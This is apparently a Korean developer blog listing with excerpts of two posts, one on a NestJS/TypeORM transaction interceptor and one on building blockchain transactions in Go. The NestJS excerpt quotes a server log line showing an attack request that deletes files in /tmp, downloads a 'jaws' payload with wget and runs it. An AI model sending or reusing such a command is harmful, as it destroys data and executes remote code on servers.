Transaction 2

NestJS - Transaction Interceptor 적용하기

진행 순서 문제 당면 해결 과정 근본적인 문제 개선 방법 - AOP Interceptor 구현 및 적용 본 포스트는 NestJS + TypeORM 환경에서 진행됩니다. 프로젝트를 진행하면서 어느 순간부터 자꾸만 504 Gateway Timeout Error 때문에 서버가 죽어버리는 현상이 발생했다. 그래서 서버 로그를 확인해보면 이런 로그 또는 {"level":"error","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","name":"NotFoundException","response":{"error":"Not Found","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget..

Backend/NestJS 2022.11.01

Go로 만드는 블록체인 part 4 - Transactions

이제 가장 중요한 부분이라 할 수 있는 Transaction을 구현할 것이다. 블록체인이란 무엇이었는지 다시 한번 살펴보겠다. 블록체인(Blockchain)이란 데이터 분산 저장 기술의 일종으로 관리 대상의 데이터를 block 단위로 P2P(peer to peer) 방식을 기반으로 chain 형태로 연결하여 저장하는 기술이다. 저장된 데이터는 모든 참여 노드에 기록되며 운영자에 의한 임의 조작이 불가능하다. 그렇다면 여기서 관리 대상의 데이터란 무엇일까? 비트코인에서는 블록 내에 거래 내역을 담아 서명하고 처리하여 관리하는데, 이러한 외부 거래를 기록하기 위해 컴퓨터 시스템 내에서 처리하는 과정에서 전송되는 데이터가 있다. 바로 Transaction이다. (암호화폐 상에서의 트랜잭션은 코인을 송금하는 거..

Blockchain 2022.01.26